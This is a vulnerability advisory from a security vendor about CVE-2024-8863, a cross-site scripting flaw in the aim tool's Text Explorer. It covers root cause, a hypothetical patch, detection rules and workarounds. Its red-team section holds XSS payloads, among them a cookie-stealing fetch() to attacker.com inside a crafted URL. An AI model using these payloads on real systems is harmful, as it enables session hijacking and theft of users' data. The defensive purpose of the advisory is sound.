CVE-2024-8863
Executive Summary
CVE-2024-8863 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in aimhubio aim, an open-source AI experiment tracking tool. The flaw resides in the textbox.tsx component's Text Explorer feature, where the query parameter is passed unsanitized to dangerouslySetInnerHTML. An attacker can craft a malicious query string containing JavaScript payloads that execute in the context of a victim's browser when they view the Text Explorer results. The vendor (aimhubio) was contacted but did not respond, leaving the vulnerability unpatched as of version 3.24. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package aim (PyPI). Users who install aim via pip are at risk. The package is widely used in MLOps pipelines, and a successful XSS attack could lead to session hijacking, data exfiltration, or further compromise of the AI/ML infrastructure. No patched version has been released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must view the crafted query.
- Scope (S): Unchanged (U) – The vulnerable component and the victim's browser are the same scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 6.1 (Medium) – Exploitation is straightforward but requires user interaction.
Deep Dive & Mechanics
The vulnerability is in the textbox.tsx file, specifically in the TextExplorer component. The component uses React's dangerouslySetInnerHTML to render user-supplied input from the query parameter without sanitization. This is a classic XSS pattern.
Root Cause: The query parameter is directly interpolated into the HTML without escaping or sanitization. For example, if a user submits a query like <img src=x onerror=alert(1)>, the browser will execute the JavaScript.
Attack Vector: An attacker can craft a malicious URL or API request to the aim server that includes the XSS payload in the query parameter. When a victim (e.g., a data scientist) views the Text Explorer results, the payload executes.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, redirect to phishing pages, or exfiltrate sensitive experiment data.
Vulnerable vs. Patched Code
Vulnerable Code (aim <= 3.24):
// textbox.tsx (simplified)
function TextExplorer({ query }) {
return (
<div dangerouslySetInnerHTML={{ __html: query }} />
);
}
Patched Code (Hypothetical):
// textbox.tsx (patched)
import DOMPurify from 'dompurify';
function TextExplorer({ query }) {
const sanitizedQuery = DOMPurify.sanitize(query);
return (
<div dangerouslySetInnerHTML={{ __html: sanitizedQuery }} />
);
}
Explanation: The vulnerable code directly passes the query to dangerouslySetInnerHTML. The patched version uses DOMPurify to sanitize the input, removing malicious HTML/JavaScript while preserving safe content.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A running instance of aim (version <= 3.24) accessible via HTTP.
- Ability to craft a URL or API request.
Exploit Payload:
<script>alert('XSS')</script>
Step-by-Step:
- Identify the aim server URL (e.g.,
http://target:43899). - Navigate to the Text Explorer endpoint:
http://target:43899/text-explorer?query=<script>alert('XSS')</script>. - The victim (or you) will see an alert box, confirming XSS.
Advanced Payload (Cookie Stealing):
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Full URL:
http://target:43899/text-explorer?query=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for suspicious
queryparameters containing<script>,onerror,onload, etc. - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input sanitization (e.g., DOMPurify) on the server side.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Upgrade to a patched version when available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/text-explorerwithqueryparameter containing<script>oronerrorattributes. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com).
- HTTP requests to
- File IOCs:
- Modified
textbox.tsxfile (if attacker has write access).
- Modified
- Log IOCs:
- Web server logs showing
queryparameter with HTML/JavaScript.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_8863_XSS_aim {
meta:
description = "Detects XSS payloads targeting CVE-2024-8863 in aim Text Explorer"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-8863"
strings:
$xss1 = /query=.*<script>/ nocase
$xss2 = /query=.*onerror=/ nocase
$xss3 = /query=.*onload=/ nocase
$xss4 = /query=.*javascript:/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-8863 XSS in aim Text Explorer
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against aim Text Explorer
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'query=<script'
- 'query=onerror='
- 'query=onload='
- 'query=javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8863 XSS in aim Text Explorer"; flow:to_server; content:"/text-explorer"; http_uri; content:"query="; http_uri; pcre:"/query=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Text Explorer: If not needed, disable the Text Explorer component in the aim configuration.
- Input Sanitization: Implement server-side sanitization using a library like DOMPurify or bleach (Python).
- WAF Rules: Deploy WAF rules to block XSS payloads in the
queryparameter. - CSP Header: Add a Content Security Policy header that restricts script execution (e.g.,
script-src 'self').
Long-Term Fix:
- The vendor must release a patched version that sanitizes input before passing to
dangerouslySetInnerHTML. Until then, consider forking the repository and applying the fix manually.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious requests:
location /text-explorer {
if ($arg_query ~* "(<script|onerror|onload|javascript:)") {
return 403;
}
}
Valters IT
Securing Digital Frontiers